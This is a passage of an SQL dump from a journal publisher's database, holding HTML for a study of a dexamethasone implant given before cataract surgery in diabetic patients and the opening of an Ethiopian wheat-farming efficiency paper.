style=\"color:#000000\"><span style=\"font-family:Times New Roman,Times,serif\">We analyzed the data related to 30 eyes of 23 diabetic patients (14 females and 9 males) with coexisting cataract and clinical significant DME. Patient demographics are synthesized in (Table 1).</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Mean BCVA at T<sub>0&nbsp;</sub>(baseline) was 46.8 Early Treatment Diabetic Retinopathy Study (ETDRS) letters, at month 3 it was 69.3 ETDRS letters (p&lt;0.01) and at month 6 it stabilized at 66.7 ETDRS letters (p&lt;0.01) (Table 2).</span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Mean CRT was 459 &plusmn; 136.5&mu;m at T<sub>0</sub>, 301 &plusmn; 97.3 &mu;m at month 3 (p&lt;0.01) and 312 &mu;m &plusmn; 73 at month 6 (p&lt;0.01) (Table 3).</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Data analysis was performed by using T Student formula at 99th percentile. The only complication we registered was a transient intra-ocular hypertension (under 26 mmHg at Goldmann tonometer) in 2 eyes (6.7% of patients), which was controlled by topical antiglaucomatous treatment (carbonic anhydrase inhibitor&nbsp;+ beta-blocker). IOP increase, was present at&nbsp;M2 visit&nbsp;(about 60&nbsp;days&nbsp;from T<sub>0</sub>) and the 2 patients received pressure lowering medications, after which their IOP reached a stable level without the need for additional medical or surgical&nbsp;interventions.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">(Figure 4a and 4b&nbsp;and&nbsp;Figure 5a and 5b)&nbsp;report some OCT pictures of two treated eyes which show the good results obtained at 6 months from Ozurdex<strong><sup>&reg;</sup></strong>&nbsp;injection.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Intravitreal dexamethasone implant (Ozurdex<strong><sup>&reg;</sup></strong>; Allergan plc, Dublin, Ireland) is a slow-release biodegradable 0.7 mg-dexamethasone intravitreal implant, which is injected via pars plana with a 22-G specific injector. This drug shows several potential advantages in DME management. It has a wide range of action against different cytokines involved in the blood-retina barrier breakdown, which is an essential step in DME pathogenesis. Moreover, intravitreal continued release of small doses of anti-inflammatory steroidal drug lasting some months maximizes the therapeutic implant duration, reducing side-effects related to intraocular steroid administration and mainly providing a 3-4 month prolonged effect following phacoemulsification (useful to cover the 1-2 months period of proven DME worsening or relapse).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Recent literature reports proved the efficacy of dexamethasone slow-release implant in preventing the worsening of diabetic post-surgical macular edema.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The pivotal study MEAD (randomized sham-controlled 3-year follow-up clinical trial using Ozurdex<strong><sup>&reg;</sup></strong> for DME treatment) showed that in diabetic patients who underwent cataract surgery there was an improvement in BCVA and no increasing in CRT after surgery [10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A 3-year real-life study carried out on 128 eyes of DME patients treated with dexamethasone implant showed that patients who underwent cataract surgery (47% of the total number) did not present a BCVA reduction following phacoemulsification and these patients were treated with dexamethasone implant one month prior to the surgery [11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This confirms the pivotal registration study MEAD data concerning the analysis of the patients&rsquo;subset who underwent cataract surgery.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Few are the prospective studies on this topic and they show limited outcome numbers: Agarwal et al. [12] conducted a prospective study on 18 eyes affected by DME, 9 eyes received intravitreal dexamethasone implant at the beginning of phacoemulsification and reported a statistically significant result in BCVA improvement and CRT reduction compared to 9 eyes of the control group treated with phacoemulsification only after 24 weeks of follow-up. The Authors concluded that a single injection of Ozurdex<strong><sup>&reg;</sup></strong> was able to control postoperative inflammation in a significative number of patients for 3&ndash;4 months and visual acuity improvement was related to a decrease in CRT.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In our study, we also observed a significant decrease in CRT at M3 visit (p&lt;0.01) which was maintained at M6 visit although a minor increase in central retinal thickness, without a statistical importance, was detected; it may be the consequence of a therapeutical efficacy reduction with time.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A recent study by Panozzo et al. [13] proved the efficacy and safety of Ozurdex<strong><sup>&reg;</sup></strong> implant injected at the end of phacoemulsification procedure in 19 eyes of 19 patients affected by naive or refractory DME confirming Sze [14] and Furino [15] data who reported encouraging results using dexamethasone implant at the end of cataract surgery.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Concerning simultaneous combined procedure, Agarwal chose to inject Ozurdex<strong><sup>&reg;</sup></strong> implant before cataract surgery in order to avoid troubles in anterior chamber stability after cataract surgery, whereas Panozzo and Furino chose to perform it at the end of phacoemulsification to prevent disturbing glares during cataract surgery.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The purpose of our study was to investigate the safety and efficacy of Ozurdex<strong><sup>&reg;</sup></strong> implant in DME suffering cataractous eyes undergoing phacoemulsification, performing the implant 30 &plusmn; 10 days before cataract surgery.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The rationale was to exploit the anti-inflammatory and anti-edema effect of dexamethasone implant to cover the common post-operatory macular inflammatory edema and to avoid the potential surgical risk of the injection into a hypotonic bulb at the end of phacoemulsification.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A recent report by Calvo et al. [16]<sup> </sup>showed very good short-term results on BCVA and CRT following the administration of Ozurdex<strong><sup>&reg;</sup></strong> immediately after cataract surgery in 24 eyes of 24 diabetic patients showing that at 3 months follow-up mean CRT changed from 241.1 &mu;m to 232.4 &mu;m and mean BCVA improved from 20/50 at baseline to 20/25 at 3 months. Authors concluded that a single Ozurdex injection intraoperatively after phacoemulsification could avoid macular edema after cataract surgery in diabetic patients.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Our study is a 6-months follow-up study and confirms these short-term positive results in a more prolonged period. Ozurdex<strong><sup>&reg; </sup></strong>treatment, in our experience, was free from persistent side-effects, which were only limited to ocular hypertension at visit M2&nbsp; in 2 eyes of 2 different subjects;&nbsp; accordingly to Bahadorani et al. to explain it, these two eyes could be &ldquo;latent&rdquo; or unrecognized primary open angle glaucoma [17].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>7. Conclusions</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Slow-release intravitreal dexamethasone implant (Ozurdex<strong><sup>&reg;) </sup></strong>approximately performed one month prior to phacoemulsification in patients affected by DME showed to be an effective and safe device in order to prevent macular edema worsening in patients affected by DME and undergoing cataract surgery, resulting in a statistically significant reduction in CRT, with a consequent improvement in BCVA which were maintained for six months following phacoemulsification. Additional comparative studies are required to determine the best therapeutical course for these patients and the most suitable timing to perform intravitreal dexamethasone implant injection.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>8. Disclosure</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The Authors report no conflict of interest and are responsible of the conduction of the paper.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1002/dmrr.1075\">Obrosova IG (2010) Diabetic cataracts: mechanisms and management. Diabetes/ Metabolism Research and Review 26: 172-180.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1136/bjophthalmol-2013-304438\">Samanta A (2014) Incidence of cystoid macular oedema in diabetic patients after phacoemulsification and freeradical link to its pathogenesis. BJ Ophthalmol 98: 1266-1272.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1055/s-0031-1299215\">Katsimpris JM (2012) Central foveal thickness before and after cataract surgery in normal and diabetic patients without retinopathy. Klin Monbl 229: 331-337.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Early Treatment of Diabetic Retinopathy Study Group (1985) Photocoagulation for macular edema. Early treatment diabetic retinopathy study reportnumber1. Arch Ophthalmol 103: 1796-1806.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1167/iovs.04-0905%5d\">Tamura H (2005) Intravitteal injection of corticosteroid attenuatesleukostasis and vascular leakage in experimental diabeticretina. Invest Ophthalmol Vis Sci 46: 1440-1444.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.ncbi.nlm.nih.gov/pubmed/20427088\">Elman MJ (2010) Randomized tria1 evaluating rambizumabplus prompt or deferred Iaseror triamcinolone plus prompt Iaser for diabetic macular edema. Ophthalmology 117: 1064-1077.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ajo.2004.06.067\">Smithen LM (2004) Intravitreal triamcinolone acetonide and intraocular pressure. Am J Ophthalmol 138: 740-743.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2337/dc13-1990\">Cheung N (2014) Ocular anti- VEGF therapy for diabetic retinopathy: overview of clinical efficacy and evolving applications. Diabetes Care &nbsp;37: 900-905.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ophtha.2011.12.039\">Nguyen QD (2012) Ranibizumab for diabetic macular edema: results from 2 phase III randomized trials: RISE and RIDE. Ophthalmology 119: 789-801.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/Ari/v\">Boyer DS (2014) Ozurdex MEAD Study Group. Three-Year, Randomized, Sham-Controlled Trial of Dexamethasone Intravitreal Implant in Patients with Diabetic Macular Edema. Ophthalmology 121: 1904-1914.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/iae.0000000000001234\">Malcles A (2017) Real-Life study in diabetic macular edema treated with dexamethasone implant. The reldex study. Retina 37: 753-760.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1016/j.ophtha.2012.08.002\">Agarwal A (2013) Dexamethasone intravitreal implant during phacoemulsification. Ophthalmology 120: 211e1-5.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"file:///C:/Users/Mdn%20user/Desktop/Ari/v\">Panozzo GA (2017) Dexamethasone intravitreal implant at the time of cataract surgery in eyes with diabetic macular edema. Eur J Ophthalmol 27: 433-437.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5301/ejo.5000523\">Sze AM (2015) Use of intravitreal dexamethasone implant in patients with cataract and macular edema undergoing phacoemulsification. Eur J Ophthalmol 25: 168-172.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1155/2017/4896036\">Furino C (2017) Combined Phacoemulsification and Intravitreal Dexamethasone Implant (Ozurdex<sup>&reg;</sup>) in Diabetic Patients with Coexisting Cataract and Diabetic Macular Edema. J Ophthalmol 2017: 1-7.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1097/iae.0000000000001552\">Calvo P (2018) Effect of an intravitreal dexamethasone implant on diabetic macular edema after cataract surgery. Retina 38: 490-496.</a></span></span></li>\r\n	<li><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2147/opth.s148990\">Bahadorani S (2018) The effects of repeated Ozurdex injections on ocular hypertension. Clin Ophthalmol 2: 639-642.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/75f4aec8.jpg\" style=\"height:324px; width:572px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1:</strong> Timeline of visits and treatments</span></span></p>\r\n\r\n<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/8076f54f.jpg\" style=\"height:390px; width:520px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 2:</strong>&nbsp;&nbsp; Best-Corrected Visual Acuity (BCVA) in ETDRS letters</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/8122776d.jpg\" style=\"height:390px; width:520px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:12px\"><strong>Figure 3:</strong> Central Retinal Thickness (CRT) in&nbsp;&mu;m</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:12px\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/82713020.jpg\" style=\"height:465px; width:620px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 4: 4a </strong>Spectralis OCT at T<sub>0 </sub>showing increased CRT and diffuse diabetic cystoid macular edema in one of the studied eyes; <strong>4b </strong>Spectral is OCT of the same patient at M<sub>6</sub> showing a sharp decrease in CRT and DME following treatment</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/83c2a6f7.jpg\" style=\"height:465px; width:620px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 5: 5a </strong>Spectralis OCT at T<sub>0 </sub>showing increased CRT and central diabetic cystoid macular edema in another patient; <strong>5b </strong>Spectralis OCT of the same patient at M<sub>6</sub> showing a reduction in CRT and DME following treatment</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong>Alongi S, Rosa R, Murialdo U, Allegri P (2019) Intravitreal Dexamethasone Implant (Ozurdex<sup>&reg;</sup>) Injection Preceding Phacoemulsification in Patients Affected by Cataract and Diabetic Macular Edema: Our Preliminary Results. J DiabetesMetabManag: JDMM-100001.</span></span></p>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/77692d50.jpg\" style=\"height:229px; width:537px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1:</strong> Characteristics of patients included in the study</span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n','1548396477.pdf',NULL,'1548396478.jpg','',0,1,'2019-01-25 11:37:57','2019-01-27 11:31:53',1);
insert  into `journal_article_in_press`(`a_id`,`journal_id`,`journal_cat_id`,`year_of_article`,`title`,`author_name`,`article_type`,`url`,`seo_title`,`seo_keyword`,`seo_description`,`research_article`,`abstract`,`introduction`,`references`,`figures`,`suggested_citation`,`tables`,`pdf_file`,`excel_file`,`image`,`video`,`video_article`,`status`,`create_at`,`update_at`,`create_by`) values (34,35,'20','2019','Economic Efficiency of Smallholder Farmers in Wheat Production: The Case of Abuna Gindeberet District, Oromia National Regional State, Ethiopia','Milkessa Asfaw *1, Endrias Geta1 and Fikadu Mitiku2','Research Article','Economic-Efficiency-of-Smallholder-Farmers-in-Wheat-Production-The-Case-of-Abuna-Gindeberet-District-Oromia-National-Regional-State-Ethiopia','Economic Efficiency of Smallholder Farmers in Wheat Production: The Case of Abuna Gindeberet District, Oromia National Regional State, Ethiopia','Economic Efficiency of Smallholder Farmers in Wheat Production: The Case of Abuna Gindeberet District, Oromia National Regional State, Ethiopia','Economic Efficiency of Smallholder Farmers in Wheat Production: The Case of Abuna Gindeberet District, Oromia National Regional State, Ethiopia','<h4 style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><strong>Open Access Journal of Agriculture Research&nbsp;</strong></span></span></h4>\r\n\r\n<h4 style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><strong>(ISSN 2651-9003)</strong></span></span></h4>\r\n\r\n<h5 style=\"text-align:center\">&nbsp;</h5>\r\n\r\n<h5 style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:16px\"><strong>Economic Efficiency of Smallholder Farmers in Wheat Production: The Case of Abuna Gindeberet District, Oromia National Regional State, Ethiopia</strong></span></span></h5>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Milkessa Asfaw<sup> *1</sup>, Endrias Geta<sup>1</sup> and Fikadu Mitiku<sup>2</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">1College of Agriculture and Natural Resources, Mizan -Tepi University, Ethiopia </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2College of Agriculture and Veterinary Medicine, Jimma University, Ethiopia</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author: </strong>Milkessa Asfaw, College of Agriculture and Natural Resources, Mizan -Tepi University, Ethiopia, Tel: +251910586773, E-mail: <a href=\"mailto:milkessa@mtu.edu.et\">milkessa@mtu.edu.et</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Asfaw M, Geta E, Mitiku F (2019) Economic Efficiency of Smallholder Farmers in Wheat Production: The Case of Abuna Gindeberet District, Oromia National Regional State, Ethiopia. Open Acc J Agri Res: OAJAR-100013.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>15 December, 2018<strong>; Accepted Date: </strong>21 January, 2019<strong>; Published Date: </strong>25 January, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Productivity enhancement through enhancing efficiency in cereal production in general and in wheat production in particular could be an important speed towards achieving food security.<strong> </strong>This study was aimed at estimating the levels of technical, allocative and economic efficiencies of smallholder wheat producers; and to identify factors affecting efficiency of small holder farmers in wheat production in Abuna Gindeberet district, Oromia National Regional State, Ethiopia. Two stages sampling technique was used to select 152 sample farmers to collect primary data pertaining of 2016/17 production year. Both primary and secondary data sources were used for this study.&nbsp; Stochastic production frontier approach and two limit Tobit model was employed for data analysis. The stochastic production frontier model indicated that input variables such as mineral fertilizers, land and seed were the significant inputs to increase the quantity of wheat output. The estimated mean values of technical, allocative and economic efficiencies were 78, 80 and 63% respectively, which indicate the presence of inefficiency in wheat production in the study area. A two-limit Tobit model result indicated that technical efficiency positively and significantly affected by sex of the household head, education, extension contact, off/non-farm activity and soil fertility but negatively affected by land fragmentation. Similarly, age, education, extension contacts and off/non-farm activity positively and significantly affected allocative efficiency. In addition, economic efficiency positively and significantly affected by sex, age, education, extension contact, off/non-farm activity and soil fertility. The policy measures derived from the results include: expansion of education, strengthening the existing extension services, establish and/or strengthening the existing off/non-farm activities and strengthening soil conservation practices in the study area.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong> Cobb-Douglas; Economic efficiency; Ethiopia; Smallholder; Stochastic Frontier</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Agriculture is a center driver of Ethiopian economy. Economic growth of the country is highly linked to the success of the agricultural sector. It accounts for about 36.3% of the Gross Domestic Product (GDP), provides employment opportunities to more than 73% of total population that is directly or indirectly engaged in agriculture, generates about 70% of the foreign exchange earnings of the country and 70% raw materials for the industries in the country [1]. Even though it is contributing a lot to the Ethiopian economy, the agricultural sector is explained by low productivity, caused by a combination of natural calamities, demographic factors, socio-economic factors; lack of knowledge on the efficient utilization of available; and limited resources (especially land and capital); poor and backward technologies and limited use of modern agricultural technologies [2]. Moreover, the sector is dominated by smallholder farmers that are characterized by subsistence production with low input use and low productivity, and dependency on traditional farming and rainfall.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In sub-Saharan Africa, Ethiopia is the second largest producer of wheat, following South Africa. Wheat is one of the major staple and strategic food security crops in Ethiopia. It is the second most consumed cereal crop in Ethiopia next to maize. It is a staple food in the diets of several Ethiopian, providing about 15% of the caloric intake [3], placing it second after maize and slightly ahead of teff, sorghum, and enset, which contribute 10-12% each [4]. It has multipurpose uses in making various human foods, such as bread, biscuits, cakes, sandwich, etc. Besides, wheat straw is commonly used as a roof thatching material and as a feed for animals [5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In Oromia region, the total area covered by wheat was 898,455.57 hectare produced by 2.21 million smallholders; the total production was 2.66 million tons; and average productivity was 2.96 ton/ha [6]. According to Abuna Gindeberet district agriculture and natural resource development office reports of (2016/17), about 22,020 hectares of land was covered by cereal crops. Of these, 6,240 hectares of land was covered with wheat with total production of 174,721 quintals. Despite its increase in area and production, its productivity is low (2.8 ton/ha) which is below the average of productivity in the region (2.96 ton/ha). There was also variation of productivity among wheat producers in the district due to difference in inputs application rates and management practices like timely sowing.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Efficient production is the basis for achieving overall food security and poverty reduction objectives particularly in major food crops producing potential areas of the country [7]. However, farmers are discouraged to produce more because of inefficient agricultural systems and differences in efficiency of production [8]. When there is inefficiency; attempts to introduce new technology may not result in the expected impact since the existing knowledge is not efficiently utilized. The presence of inefficiency not only limits the gains from the existing resources, it also hinders the benefits that could arise from the use of improved inputs. Hence, improvement in the level of efficiency will increase productivity by enabling farmers to produce the maximum possible output from a given level of inputs with the existing level of technology [9-11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Many researchers, in different sectors, have done many performance evaluation studies in Ethiopia. However, the majority of farm efficiency studies are limited to technical efficiency [10,12-16]. But, focusing only on technical efficiency (TE) understates the benefits that could be derived by producers from improvements in overall performance. Unlike technical efficiency, studies conducted on economic efficiency (EE) of wheat are limited [17,18]. Moreover, there is no study done on economic efficiency of smallholder wheat producers in the study area. Therefore, this study was attempted to fill the existing knowledge gap.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Research Methodology</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1.&nbsp;Description of the study area</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Abuna Gindeberet district is located in West Shewa Zone, Oromia National Regional state in the Western part of Ethiopia. It is located at 184 km west of the capital city of the country, Finfinne. It is bordered by Meta Robi district in East, Gindeberet district in West, Jeldu district in South and Amhara National Regional State in North. The district has 42 rural kebeles administrations and 2 urban kebeles. The total area of the district is 138,483.25 ha, of which annual crops cover 87,784.25 ha and the remaining land is allocated for grazing, forest and other purposes. The annual rainfall of the study area ranges from 700-2400 mm with an annual temperature of 10-30<sup>0</sup>C. The study area has total population of 126,996 of which 47.2% are male and 52.8% are female [19]. Livelihood of the population of the study area generally depends on rain fed agriculture and characterized by mixed crop-livestock farming systems where both crop and livestock production play a central role in the lives of the farming community.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.&nbsp;Sampling technique and sample size determination</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Two stages random sampling procedures were employed to draw a representative sample. In the first stage, three kebeles out of the fifteen wheat producing kebeles in the district were randomly selected. In the second stage, 152 sample farmers were selected using simple random sampling technique based on probability proportional to the size of wheat producers in each of the three selected kebeles. To obtain a representative sample size, the study employed the sample size determination formula given by [20] as follow:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/10543dbca.jpg\" style=\"height:48px; width:558px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Where:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">n&nbsp;-&nbsp;Denotes sample size;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">N&nbsp;-&nbsp;Denotes total number of wheat producer household heads in the district and</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">e&nbsp;-&nbsp;Denotes margin error</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3. Types of data and methods of data collection</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This study used both qualitative and quantitative data. Both primary and secondary data sources were used. The primary data were collected using structured questionnaire that was administered by the trained enumerators. The questionnaire was pre-tested and necessary corrections were made before actual use.Moreover, local measurement scales customarily used by farmers was converted into their respective standard units. This helps to minimize measurement errors that could arise from variability of local units. Secondary data were also collected from relevant sources such as bureau of agriculture of the district and other relevant sources.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4. Method of data analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Both descriptive and econometric models were used to analyze the data. Descriptive statistics like mean, percentage, frequency and standard deviation were used. Stochastic production frontier was employed to estimate efficiency level of sampled farmers.&nbsp; In addition, two limit Tobit model was used to analyze the determinants of efficiency.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.5. Method of data analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Both descriptive and econometric models were used to analyze the data. Descriptive statistics like mean, percentage, frequency and standard deviation were used. Stochastic production frontier was employed to estimate efficiency level of sampled farmers.&nbsp; In addition, two limit Tobit model was used to analyze the determinants of efficiency.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.5. Descriptive analysis</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Descriptive statistics techniques were used to describe demographic, farm, socio economic and institutional characteristics of smallholder wheat producers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.6. Econometric model specification</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Most empirical studies on efficiency in Ethiopia were analyzed using stochastic production frontier methodology [11,17,21]. The main reason is that stochastic approach allows for statistical noise such as measurement error and climate change which are beyond the control of the decision making unit.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Following [22] the model is specified as follows:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/1066732ae.jpg\" style=\"height:43px; width:565px\" /></span></p>\r\n\r\n<p style=\"text-align:justify\"><span 